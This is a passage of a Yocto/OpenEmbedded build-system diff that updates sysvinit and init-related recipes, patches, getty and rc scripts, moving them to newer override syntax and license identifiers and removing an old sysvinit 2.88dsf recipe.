+ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
+ALTERNATIVE_PRIORITY[runlevel] ?= "300"
+
+pkg_postinst:${PN}:libc-glibc () {
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
+ -i $D${sysconfdir}/nsswitch.conf
+}
+
+pkg_prerm:${PN}:libc-glibc () {
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e '/^hosts:/s/\s*myhostname//' \
+ -i $D${sysconfdir}/nsswitch.conf
+}
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+pkg_postinst:udev-hwdb () {
+ if test -n "$D"; then
+ $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} rootlibexecdir="${rootlibexecdir}" PREFERRED_PROVIDER_udev="${PREFERRED_PROVIDER_udev}"
+ else
+ udevadm hwdb --update
+ fi
+}
+
+pkg_prerm:udev-hwdb () {
+ rm -f $D${sysconfdir}/udev/hwdb.bin
+}
diff --git a/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty b/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
index 96fd6cfcfd..699a1ead1a 100644
--- a/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
+++ b/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
@@ -1,17 +1,4 @@
#!/bin/sh
-###############################################################################
-# This script is used to automatically set up the serial console(s) on startup.
-# The variable SERIAL_CONSOLES can be set in meta/conf/machine/*.conf.
-# Script enhancement has been done based on Bug YOCTO #10844.
-# Most of the information is retrieved from /proc virtual filesystem containing
-# all the runtime system information (eg. system memory, device mount, etc).
-###############################################################################
-
-# Get active serial filename.
-active_serial=$(grep "serial" /proc/tty/drivers | cut -d/ -f1 | sed "s/ *$//")
-
-# Rephrase input parameter from ttyS target index (ttyS1, ttyS2, ttyAMA0, etc).
-runtime_tty=$(echo $2 | grep -oh '[0-9]')
# busybox' getty does this itself, util-linux' agetty needs extra help
getty="/sbin/getty"
@@ -25,31 +12,6 @@ case $(readlink -f "${getty}") in
;;
esac
-# Backup $IFS.
-DEFAULT_IFS=$IFS
-# Customize Internal Field Separator.
-IFS="$(printf '\n\t')"
-
-for line in $active_serial; do
- # Check we have the file containing current active serial target index.
- if [ -e "/proc/tty/driver/$line" ]
- then
- # Remove all unknown entries and discard the first line (desc).
- activetty=$(grep -v "unknown" "/proc/tty/driver/$line" \
- | tail -n +2 | grep -oh "^\s*\S*[0-9]")
- for active in $activetty; do
- # If indexes do match then enable the serial console.
- if [ $active -eq $runtime_tty ]
- then
- if [ -c /dev/$2 ]
- then
- ${setsid:-} ${getty} -L $1 $2 $3
- fi
- break
- fi
- done
- fi
-done
-
-# Restore $IFS.
-IFS=$DEFAULT_IFS
+if [ -e /sys/class/tty/$2 -a -c /dev/$2 ]; then
+ ${setsid:-} ${getty} -L $1 $2 $3
+fi
diff --git a/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb b/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
index 8781492d47..7aad2e2bf2 100644
--- a/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
+++ b/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
@@ -1,6 +1,6 @@
SUMMARY = "Inittab configuration for SysVinit"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
PR = "r10"
@@ -53,14 +53,14 @@ EOF
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
# run this on host and on target
if [ "${SERIAL_CONSOLES_CHECK}" = "" ]; then
exit 0
fi
}
-pkg_postinst_ontarget_${PN} () {
+pkg_postinst_ontarget:${PN} () {
# run this on the target
if [ -e /proc/consoles ]; then
tmp="${SERIAL_CONSOLES_CHECK}"
@@ -84,10 +84,10 @@ fi
# Set PACKAGE_ARCH appropriately.
PACKAGE_ARCH = "${MACHINE_ARCH}"
-FILES_${PN} = "${sysconfdir}/inittab ${base_bindir}/start_getty"
-CONFFILES_${PN} = "${sysconfdir}/inittab"
+FILES:${PN} = "${sysconfdir}/inittab ${base_bindir}/start_getty"
+CONFFILES:${PN} = "${sysconfdir}/inittab"
USE_VT ?= "1"
SYSVINIT_ENABLED_GETTYS ?= "1"
-RCONFLICTS_${PN} = "busybox-inittab"
+RCONFLICTS:${PN} = "busybox-inittab"
diff --git a/meta/recipes-core/sysvinit/sysvinit/0001-This-fixes-an-issue-that-clang-reports-about-mutlipl.patch b/meta/recipes-core/sysvinit/sysvinit/0001-This-fixes-an-issue-that-clang-reports-about-mutlipl.patch
deleted file mode 100644
index f35c15cb31..0000000000
--- a/meta/recipes-core/sysvinit/sysvinit/0001-This-fixes-an-issue-that-clang-reports-about-mutlipl.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 36ac97bfe51797458442a6035219a504a42e703a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 21 Aug 2015 10:56:40 -0700
-Subject: [PATCH] This fixes an issue that clang reports about mutliple output
- files
-
-Issue is that we are passing .h file to link step as seen below.
-
-| arm-oe-linux-gnueabi-clang -march=armv7-a -mthumb -mfloat-abi=hard
--mfpu=neon-vfpv4 -mtune=cortex-a7 -D__extern_always_inline=inline
--no-integrated-as
---sysroot=/mnt/home/kraj/work/angstrom/sources/openembedded-core/build/tmp-glibc/sysroots/raspberrypi2
--Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed halt.o ifdown.o hddown.o
-utmp.o reboot.h -o halt
-| clang-3.7: error: cannot specify -o when generating multiple output
-files
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/Makefile | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/Makefile b/src/Makefile
-index e77ed5f..a6f9f40 100644
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -103,9 +103,9 @@ all: $(BIN) $(SBIN) $(USRBIN)
- init: LDLIBS += $(INITLIBS) $(STATIC)
- init: init.o init_utmp.o
-
--halt: halt.o ifdown.o hddown.o utmp.o reboot.h
-+halt: halt.o ifdown.o hddown.o utmp.o
-
--last: last.o oldutmp.h
-+last: last.o
-
- mesg: mesg.o
-
-@@ -120,7 +120,7 @@ sulogin: sulogin.o
-
- wall: dowall.o wall.o
-
--shutdown: dowall.o shutdown.o utmp.o reboot.h
-+shutdown: dowall.o shutdown.o utmp.o
-
- bootlogd: LDLIBS += -lutil
- bootlogd: bootlogd.o
---
-2.1.4
-
diff --git a/meta/recipes-core/sysvinit/sysvinit/0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch b/meta/recipes-core/sysvinit/sysvinit/0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch
index e13ac9d06b..60fbd87534 100644
--- a/meta/recipes-core/sysvinit/sysvinit/0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch
@@ -1,4 +1,4 @@
-From 3c29a86f351ea4827dc445bb8e6cb774543c9be6 Mon Sep 17 00:00:00 2001
+From c710a3accd1fabdb671274e1a458405282d51e0c Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Aug 2018 15:38:58 -0700
Subject: [PATCH] include sys/sysmacros.h for major/minor definitions
@@ -13,10 +13,10 @@ Upstream-Status: Pending
3 files changed, 3 insertions(+)
diff --git a/src/bootlogd.c b/src/bootlogd.c
-index 570d382..68d62f3 100644
+index 787db87..8b07903 100644
--- a/src/bootlogd.c
+++ b/src/bootlogd.c
-@@ -35,6 +35,7 @@
+@@ -29,6 +29,7 @@
#include <sys/types.h>
#include <sys/time.h>
#include <sys/stat.h>
@@ -25,7 +25,7 @@ index 570d382..68d62f3 100644
#include <sys/utsname.h>
#include <time.h>
diff --git a/src/mountpoint.c b/src/mountpoint.c
-index 9e3dd9c..91f74ed 100644
+index 5f20522..94df7a1 100644
--- a/src/mountpoint.c
+++ b/src/mountpoint.c
@@ -25,6 +25,7 @@
@@ -37,7 +37,7 @@ index 9e3dd9c..91f74ed 100644
#include <stdlib.h>
#include <string.h>
diff --git a/src/shutdown.c b/src/shutdown.c
-index 7e997da..17de58d 100644
+index b744a2c..40b7faf 100644
--- a/src/shutdown.c
+++ b/src/shutdown.c
@@ -40,6 +40,7 @@
@@ -46,5 +46,5 @@ index 7e997da..17de58d 100644
#include <sys/stat.h>
+#include <sys/sysmacros.h>
#include <sys/wait.h>
- #include <time.h>
- #include <string.h>
+ #ifdef __linux__
+ #include <sys/sysmacros.h> /* brought in my LFS patch */
diff --git a/meta/recipes-core/sysvinit/sysvinit/crypt-lib.patch b/meta/recipes-core/sysvinit/sysvinit/crypt-lib.patch
index 7b342901e1..5c39fb001b 100644
--- a/meta/recipes-core/sysvinit/sysvinit/crypt-lib.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/crypt-lib.patch
@@ -1,3 +1,8 @@
+From c3a068cf24a22bea7349849ec111ae8d91a54db4 Mon Sep 17 00:00:00 2001
+From: Jeff Dike <jdike@x86_64.user-mode-linux.org>
+Date: Wed, 14 Jul 2010 14:35:52 -0400
+Subject: [PATCH] sysvinit - Remove sulogin dependency on /usr/lib*/libcrypt.a
+
Upstream-Status: Inappropriate [configuration]
# The src Makefile was checking for libcrypt.a on the host, not in the
@@ -5,21 +10,29 @@ Upstream-Status: Inappropriate [configuration]
# and uses it if it's there.
# - jdike@linux.intel.com
-Index: sysvinit-2.88dsf/src/Makefile
-===================================================================
---- sysvinit-2.88dsf.orig/src/Makefile
-+++ sysvinit-2.88dsf/src/Makefile
-@@ -85,9 +85,13 @@ else
+---
+ src/Makefile | 11 ++---------
+ 1 file changed, 2 insertions(+), 9 deletions(-)
+
+diff --git a/src/Makefile b/src/Makefile
+index 5b1a5a2..b686394 100644
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -97,15 +97,8 @@ else
endif
# Additional libs for GNU libc.
+-ifneq ($(wildcard $(ROOT)/usr/lib*/libcrypt.*),)
+- SULOGINLIBS += -lcrypt
+-endif
+-
+-# Additional libs for GNU libc / multiarch on Debian based systems.
+-ifneq ($(wildcard $(ROOT)/usr/lib/*/libcrypt.*),)
+-ifneq ($(findstring -lcrypt, $(SULOGINLIBS)), -lcrypt)
+- SULOGINLIBS += -lcrypt
+-endif
+ifneq ($(LCRYPT),)
+ SULOGINLIBS += $(LCRYPT)
-+else
- ifneq ($(wildcard /usr/lib*/libcrypt.a),)
- SULOGINLIBS += -lcrypt
endif
-+endif
all: $(BIN) $(SBIN) $(USRBIN)
-
diff --git a/meta/recipes-core/sysvinit/sysvinit/install.patch b/meta/recipes-core/sysvinit/sysvinit/install.patch
index 6c4225a678..90563a6294 100644
--- a/meta/recipes-core/sysvinit/sysvinit/install.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/install.patch
@@ -1,10 +1,19 @@
+From 5e35aa105e7a2e85db2a89fee4114090b1ac55be Mon Sep 17 00:00:00 2001
+From: Qing He <qing.he@intel.com>
+Date: Fri, 18 Jun 2010 09:40:30 +0800
+Subject: [PATCH] sysvinit: upgrade to version 2.88dsf
+
Upstream-Status: Pending
+---
+ src/Makefile | 53 +++++++++++++++++++++++++++++-----------------------
+ 1 file changed, 30 insertions(+), 23 deletions(-)
+
diff --git a/src/Makefile b/src/Makefile
-index e2b8028..3e11e92 100644
+index 1b368dc..5b1a5a2 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -65,7 +65,14 @@ else
+@@ -77,7 +77,14 @@ else
INSTALL_DATA = install -m 644
endif
INSTALL_DIR = install -m 755 -d
@@ -20,10 +29,10 @@ index e2b8028..3e11e92 100644
ifeq ($(WITH_SELINUX),yes)
SELINUX_DEF = -DWITH_SELINUX
-@@ -138,39 +145,39 @@ clobber: cleanobjs
+@@ -191,43 +198,43 @@ clobber: cleanobjs
distclean: clobber
- install:
+ install: all
- $(INSTALL_DIR) $(ROOT)/bin/ $(ROOT)/sbin/
- $(INSTALL_DIR) $(ROOT)/usr/bin/
+ $(INSTALL_DIR) $(ROOT)$(base_bindir)/ $(ROOT)$(base_sbindir)/
@@ -40,16 +49,15 @@ index e2b8028..3e11e92 100644
- $(INSTALL_EXEC) $$i $(ROOT)/usr/bin/ ; \
+ $(INSTALL_EXEC) $$i $(ROOT)$(bindir)/ ; \
done
-- # $(INSTALL_DIR) $(ROOT)/etc/
-- # $(INSTALL_EXEC) initscript.sample $(ROOT)/etc/
+ # $(INSTALL_DIR) $(ROOT)/etc/
+ $(INSTALL_DIR) $(ROOT)/etc/inittab.d
+ # $(INSTALL_EXEC) ../doc/initscript.sample $(ROOT)/etc/
- ln -sf halt $(ROOT)/sbin/reboot
- ln -sf halt $(ROOT)/sbin/poweroff
- ln -sf init $(ROOT)/sbin/telinit
- ln -sf /sbin/killall5 $(ROOT)/bin/pidof
- if [ ! -f $(ROOT)/usr/bin/lastb ]; then \
- ln -sf last $(ROOT)/usr/bin/lastb; \
-+ # $(INSTALL_DIR) $(ROOT)$(sysconfdir)/
-+ # $(INSTALL_EXEC) initscript.sample $(ROOT)$(sysconfdir)/
+ ln -sf halt $(ROOT)$(base_sbindir)/reboot
+ ln -sf halt $(ROOT)$(base_sbindir)/poweroff
+ ln -sf init $(ROOT)$(base_sbindir)/telinit
@@ -67,17 +75,23 @@ index e2b8028..3e11e92 100644
+ $(INSTALL_DIR) $(ROOT)$(mandir)/man1/
+ $(INSTALL_DIR) $(ROOT)$(mandir)/man5/
+ $(INSTALL_DIR) $(ROOT)$(mandir)/man8/
- for i in $(MAN1); do \
-- $(INSTALL_DATA) ../man/$$i $(ROOT)$(MANDIR)/man1/; \
-+ $(INSTALL_DATA) ../man/$$i $(ROOT)$(mandir)/man1/; \
+ for man in $(MAN1); do \
+- $(INSTALL_DATA) ../man/$$man $(ROOT)$(MANDIR)/man1/; \
+- sed -i "1{ $(MANDB); }" $(ROOT)$(MANDIR)/man1/$$man ; \
++ $(INSTALL_DATA) ../man/$$man $(ROOT)$(mandir)/man1/; \
++ sed -i "1{ $(MANDB); }" $(ROOT)$(mandir)/man1/$$man ; \
done
- for i in $(MAN5); do \
-- $(INSTALL_DATA) ../man/$$i $(ROOT)$(MANDIR)/man5/; \
-+ $(INSTALL_DATA) ../man/$$i $(ROOT)$(mandir)/man5/; \
+ for man in $(MAN5); do \
+- $(INSTALL_DATA) ../man/$$man $(ROOT)$(MANDIR)/man5/; \
+- sed -i "1{ $(MANDB); }" $(ROOT)$(MANDIR)/man5/$$man ; \
++ $(INSTALL_DATA) ../man/$$man $(ROOT)$(mandir)/man5/; \
++ sed -i "1{ $(MANDB); }" $(ROOT)$(mandir)/man5/$$man ; \
done
- for i in $(MAN8); do \
-- $(INSTALL_DATA) ../man/$$i $(ROOT)$(MANDIR)/man8/; \
-+ $(INSTALL_DATA) ../man/$$i $(ROOT)$(mandir)/man8/; \
+ for man in $(MAN8); do \
+- $(INSTALL_DATA) ../man/$$man $(ROOT)$(MANDIR)/man8/; \
+- sed -i "1{ $(MANDB); }" $(ROOT)$(MANDIR)/man8/$$man ; \
++ $(INSTALL_DATA) ../man/$$man $(ROOT)$(mandir)/man8/; \
++ sed -i "1{ $(MANDB); }" $(ROOT)$(mandir)/man8/$$man ; \
done
ifeq ($(ROOT),)
#
diff --git a/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch b/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
index 5b5dfdc001..4386e6f832 100644
--- a/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
@@ -1,4 +1,7 @@
-pidof: add -m option
+From 96fb53ef2ccd2580cf0aa565ef1629cb05eae50a Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Wed, 24 Jul 2013 17:07:22 +0800
+Subject: [PATCH] pidof: add -m option
When used with -o, will also omit any processes that have the same
argv[0] and argv[1] as any explicitly omitted process ids. This can be
@@ -7,27 +10,29 @@ each other's pids.
https://bugzilla.redhat.com/show_bug.cgi?id=883856
-Upstream-Status: backport
+Upstream-Status: Backport
Imported patch from: https://bugzilla.redhat.com/attachment.cgi?id=658166
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- man/pidof.8 | 6 ++++++
- src/killall5.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++++---
+ man/pidof.8 | 6 +++++
+ src/killall5.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++---
2 files changed, 65 insertions(+), 3 deletions(-)
diff --git a/man/pidof.8 b/man/pidof.8
+index 84ed1e4..ac184da 100644
--- a/man/pidof.8
+++ b/man/pidof.8
-@@ -24,6 +24,7 @@ pidof -- find the process ID of a running program.
- .RB [ \-c ]
+@@ -25,6 +25,7 @@ pidof -- find the process ID of a running program.
.RB [ \-n ]
.RB [ \-x ]
+ .RB [ \-z ]
+.RB [ \-m ]
.RB [ \-o
- .IR omitpid[,omitpid..] ]
+ .IR omitpid[,omitpid...] ]
.RB [ \-o
-@@ -63,6 +64,11 @@ shells running the named scripts.
+@@ -79,6 +80,11 @@ is shown. The default separator is a space.
Tells \fIpidof\fP to omit processes with that process id. The special
pid \fB%PPID\fP can be used to name the parent process of the \fIpidof\fP
program, in other words the calling shell or shell script.
@@ -40,10 +45,10 @@ diff --git a/man/pidof.8 b/man/pidof.8
.TP
.B 0
diff --git a/src/killall5.c b/src/killall5.c
-index 5937d98..e73885e 100644
+index b0728fa..72289e3 100644
--- a/src/killall5.c
+++ b/src/killall5.c
-@@ -118,6 +118,7 @@ typedef struct _s_nfs
+@@ -121,6 +121,7 @@ typedef struct _s_nfs
/* List of processes. */
PROC *plist;
@@ -51,7 +56,7 @@ index 5937d98..e73885e 100644
/* List of processes to omit. */
OMIT *omit;
-@@ -345,6 +346,20 @@ static void clear_mnt(void)
+@@ -356,6 +357,20 @@ static void clear_mnt(void)
}
}
@@ -70,17 +75,17 @@ index 5937d98..e73885e 100644
+}
+
/*
- * Check if path is ia shadow off a NFS partition.
+ * Check if path is a shadow off a NFS partition.
*/
-@@ -452,6 +467,7 @@ int readproc(int do_stat)
+@@ -481,6 +496,7 @@ int readproc()
DIR *dir;
FILE *fp;
PROC *p, *n;
+ OMIT *o, *m;
struct dirent *d;
- struct stat st;
char path[PATH_MAX+1];
-@@ -624,6 +640,17 @@ int readproc(int do_stat)
+ char buf[PATH_MAX+1];
+@@ -670,6 +686,17 @@ int readproc()
p->next = plist;
plist = p;
p->pid = pid;
@@ -98,7 +103,7 @@ index 5937d98..e73885e 100644
}
closedir(dir);
-@@ -813,6 +840,26 @@ PIDQ_HEAD *pidof(char *prog)
+@@ -870,6 +897,26 @@ PIDQ_HEAD *pidof(char *prog)
return q;
}
@@ -125,42 +130,42 @@ index 5937d98..e73885e 100644
/* Give usage message and exit. */
void usage(void)
{
-@@ -845,6 +892,7 @@ void nsyslog(int pri, char *fmt, ...)
- #define PIDOF_SINGLE 0x01
+@@ -920,6 +967,7 @@ void nsyslog(int pri, char *fmt, ...)
#define PIDOF_OMIT 0x02
#define PIDOF_NETFS 0x04
+ #define PIDOF_QUIET 0x08
+#define PIDOF_OMIT_OMIT_MATCHES 0x08
/*
* Pidof functionality.
-@@ -861,6 +909,7 @@ int main_pidof(int argc, char **argv)
- struct stat st;
+@@ -937,6 +985,7 @@ int main_pidof(int argc, char **argv)
char tmp[512];
+ char sep = ' ';
+ olist = (PROC*)0;
omit = (OMIT*)0;
nlist = (NFS*)0;
opterr = 0;
-@@ -868,7 +917,7 @@ int main_pidof(int argc, char **argv)
+@@ -944,7 +993,7 @@ int main_pidof(int argc, char **argv)
if ((token = getenv("PIDOF_NETFS")) && (strcmp(token,"no") != 0))
flags |= PIDOF_NETFS;
-- while ((opt = getopt(argc,argv,"hco:sxn")) != EOF) switch (opt) {
-+ while ((opt = getopt(argc,argv,"hcmo:sxn")) != EOF) switch (opt) {
+- while ((opt = getopt(argc,argv,"qhco:d:sxzn")) != EOF) switch (opt) {
++ while ((opt = getopt(argc,argv,"qhcmo:d:sxzn")) != EOF) switch (opt) {
case '?':
nsyslog(LOG_ERR,"invalid options on command line!\n");
closelog();
-@@ -907,6 +956,9 @@ int main_pidof(int argc, char **argv)
- case 'x':
- scripts_too++;
- break;
+@@ -995,6 +1044,9 @@ int main_pidof(int argc, char **argv)
+ case 'z':
+ list_dz_processes = TRUE;
+ break;
+ case 'm':
+ flags |= PIDOF_OMIT_OMIT_MATCHES;
+ break;
case 'n':
flags |= PIDOF_NETFS;
break;
-@@ -938,10 +990,13 @@ int main_pidof(int argc, char **argv)
+@@ -1026,10 +1078,13 @@ int main_pidof(int argc, char **argv)
pid_t spid = 0;
while ((p = get_next_from_pid_q(q))) {
if ((flags & PIDOF_OMIT) && omit) {
@@ -176,14 +181,11 @@ index 5937d98..e73885e 100644
}
/*
-@@ -977,6 +1032,7 @@ int main_pidof(int argc, char **argv)
- if (!first)
+@@ -1071,6 +1126,7 @@ int main_pidof(int argc, char **argv)
printf("\n");
+ }
+ clear_omit();
clear_mnt();
closelog();
---
-1.8.1.2
-
diff --git a/meta/recipes-core/sysvinit/sysvinit/rc b/meta/recipes-core/sysvinit/sysvinit/rc
index 7ca41ae1ae..41196ec90b 100755
--- a/meta/recipes-core/sysvinit/sysvinit/rc
+++ b/meta/recipes-core/sysvinit/sysvinit/rc
@@ -17,6 +17,7 @@
. /etc/default/rcS
export VERBOSE
+export PSPLASH_FIFO_DIR
startup_progress() {
step=$(($step + $step_change))
@@ -26,11 +27,8 @@ startup_progress() {
progress=$progress_size
fi
#echo "PROGRESS is $progress $runlevel $first_step + ($step of $num_steps) $step_change $progress_size"
- #if type psplash-write >/dev/null 2>&1; then
- # TMPDIR=/mnt/.psplash psplash-write "PROGRESS $progress" || true
- #fi
- if [ -e /mnt/.psplash/psplash_fifo ]; then
- echo "PROGRESS $progress" > /mnt/.psplash/psplash_fifo
+ if type psplash-write >/dev/null 2>&1; then
+ psplash-write "PROGRESS $progress" || true
fi
}
@@ -66,7 +64,7 @@ startup() {
stty onlcr 0>&1
# Limit stack size for startup scripts
- [ "$STACK_SIZE" == "" ] || ulimit -S -s $STACK_SIZE
+ [ "$STACK_SIZE" = "" ] || ulimit -S -s $STACK_SIZE
# Now find out what the current and what the previous runlevel are.
@@ -162,6 +160,9 @@ startup() {
#
[ -f $previous_start ] && [ ! -f $stop ] && continue
fi
+ if [ x"${PSPLASH_TEXT_UPDATES}" = x"yes" ]; then
+ psplash-write "MSG $(basename $i .sh | cut -c 4-)" || true
+ fi
case "$runlevel" in
0|6)
startup $i stop
@@ -176,7 +177,6 @@ startup() {
#Uncomment to cause psplash to exit manually, otherwise it exits when it sees a VC switch
if [ "x$runlevel" != "xS" ] && [ ! -x /etc/rc${runlevel}.d/S??xserver-nodm ]; then
if type psplash-write >/dev/null 2>&1; then
- TMPDIR=/mnt/.psplash psplash-write "QUIT" || true
- umount -l /mnt/.psplash
+ psplash-write "QUIT" || true
fi
fi
diff --git a/meta/recipes-core/sysvinit/sysvinit/rcS-default b/meta/recipes-core/sysvinit/sysvinit/rcS-default
index 709cdf6ec5..f7c4a2f841 100644
--- a/meta/recipes-core/sysvinit/sysvinit/rcS-default
+++ b/meta/recipes-core/sysvinit/sysvinit/rcS-default
@@ -27,3 +27,10 @@ VOLATILE_ENABLE_CACHE=yes
# Setting ROOTFS_READ_ONLY to yes and rebooting will give you a read-only rootfs.
# Normally you should not change this value.
ROOTFS_READ_ONLY=no
+# rcS is also used when using busybox init and shares initscripts, some initscripts
+# need to have specific behavior depending on init system
+INIT_SYSTEM=sysvinit
+# set the psplash fifo directory
+PSPLASH_FIFO_DIR=/mnt
+# psplash textual updates knob
+PSPLASH_TEXT_UPDATES=#PSPLASH_TEXT#
diff --git a/meta/recipes-core/sysvinit/sysvinit/realpath.patch b/meta/recipes-core/sysvinit/sysvinit/realpath.patch
index 5e0dca3bf1..b559aa3b49 100644
--- a/meta/recipes-core/sysvinit/sysvinit/realpath.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/realpath.patch
@@ -1,58 +1,27 @@
-Fix build on musl use realpath() API its available on all libcs
+From eb158c97f19d473d01befe96359a7f93ae834517 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 19 Nov 2015 00:10:03 +0000
+Subject: [PATCH] Fix build on musl use realpath() API its available on all
+ libcs
realpath() API doesnt work on systems with PATH_MAX set to be unlimited e.g. GNU/Hurd
However for Linux it should always work
-Upstream-Status: Inappropriate[Linux specific]
+Upstream-Status: Inappropriate [Linux specific]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: sysvinit-2.88dsf/src/ifdown.c
-===================================================================
---- sysvinit-2.88dsf.orig/src/ifdown.c 2010-03-23 07:37:01.000000000 -0700
-+++ sysvinit-2.88dsf/src/ifdown.c 2014-04-02 00:43:43.675437029 -0700
-@@ -26,11 +26,11 @@
- #include <unistd.h>
- #include <time.h>
- #include <string.h>
-+#include <errno.h>
-
- #include <sys/ioctl.h>
- #include <sys/socket.h>
- #include <sys/time.h>
--#include <sys/errno.h>
-
- #include <net/if.h>
- #include <netinet/in.h>
-Index: sysvinit-2.88dsf/src/init.c
-===================================================================
---- sysvinit-2.88dsf.orig/src/init.c 2014-04-02 00:42:10.488770162 -0700
-+++ sysvinit-2.88dsf/src/init.c 2014-04-02 00:42:59.432103823 -0700
-@@ -49,6 +49,7 @@
- #include <utmp.h>
- #include <ctype.h>
- #include <stdarg.h>
-+#include <sys/ttydefaults.h>
- #include <sys/syslog.h>
- #include <sys/time.h>
-
-Index: sysvinit-2.88dsf/src/mountpoint.c
-===================================================================
---- sysvinit-2.88dsf.orig/src/mountpoint.c 2009-09-10 01:28:49.000000000 -0700
-+++ sysvinit-2.88dsf/src/mountpoint.c 2014-04-02 00:44:18.248770942 -0700
-@@ -23,6 +23,7 @@
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-+#include <sys/types.h>
- #include <sys/stat.h>
- #include <unistd.h>
- #include <stdlib.h>
-Index: sysvinit-2.88dsf/src/killall5.c
-===================================================================
---- sysvinit-2.88dsf.orig/src/killall5.c 2014-03-26 00:49:52.982668074 -0700
-+++ sysvinit-2.88dsf/src/killall5.c 2014-04-02 00:46:45.838771653 -0700
-@@ -846,9 +846,9 @@
+---
+ src/killall5.c | 4 ++--
+ src/mountpoint.c | 1 +
+ src/wall.c | 1 +
+ 3 files changed, 4 insertions(+), 2 deletions(-)
+
+diff --git a/src/killall5.c b/src/killall5.c
+index a664954..9798423 100644
+--- a/src/killall5.c
++++ b/src/killall5.c
+@@ -977,9 +977,9 @@ int matches(PROC *o, PROC *p)
char *oargv1, *pargv1;
if ((o->argv0 && p->argv0 && !strcmp(o->argv0,p->argv0))) {
if (o->argv1 && p->argv1) {
@@ -64,14 +33,26 @@ Index: sysvinit-2.88dsf/src/killall5.c
pargv1 = strdup(p->argv1);
if (! strcmp(oargv1, pargv1)) {
ret = 1;
-Index: sysvinit-2.88dsf/src/wall.c
-===================================================================
---- sysvinit-2.88dsf.orig/src/wall.c 2009-11-22 14:05:53.000000000 -0800
-+++ sysvinit-2.88dsf/src/wall.c 2014-04-02 00:49:15.258772217 -0700
-@@ -29,6 +29,7 @@
+diff --git a/src/mountpoint.c b/src/mountpoint.c
+index b24335e..5f20522 100644
+--- a/src/mountpoint.c
++++ b/src/mountpoint.c
+@@ -23,6 +23,7 @@
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
++#include <sys/types.h>
+ #include <sys/stat.h>
#include <unistd.h>
+ #include <stdlib.h>
+diff --git a/src/wall.c b/src/wall.c
+index d3a2c70..00826e9 100644
+--- a/src/wall.c
++++ b/src/wall.c
+@@ -30,6 +30,7 @@
#include <pwd.h>
#include <syslog.h>
+ #include <sys/types.h>
+#include <time.h>
#include "init.h"
diff --git a/meta/recipes-core/sysvinit/sysvinit_2.88dsf.bb b/meta/recipes-core/sysvinit/sysvinit_2.88dsf.bb
deleted file mode 100644
index bfc1283f73..0000000000
--- a/meta/recipes-core/sysvinit/sysvinit_2.88dsf.bb
+++ /dev/null
@@ -1,110 +0,0 @@
-SUMMARY = "System-V like init"
-DESCRIPTION = "This package is required to boot in most configurations. It provides the /sbin/init program. This is the first process started on boot, and the last process terminated before the system halts."
-HOMEPAGE = "http://savannah.nongnu.org/projects/sysvinit/"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://COPYRIGHT;endline=15;md5=349c872e0066155e1818b786938876a4"
-PR = "r14"
-
-RDEPENDS_${PN} = "${PN}-inittab"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/sysvinit/sysvinit-${PV}.tar.bz2 \
- file://install.patch \
- file://crypt-lib.patch \
- file://pidof-add-m-option.patch \
- file://0001-This-fixes-an-issue-that-clang-reports-about-mutlipl.patch \
- file://realpath.patch \
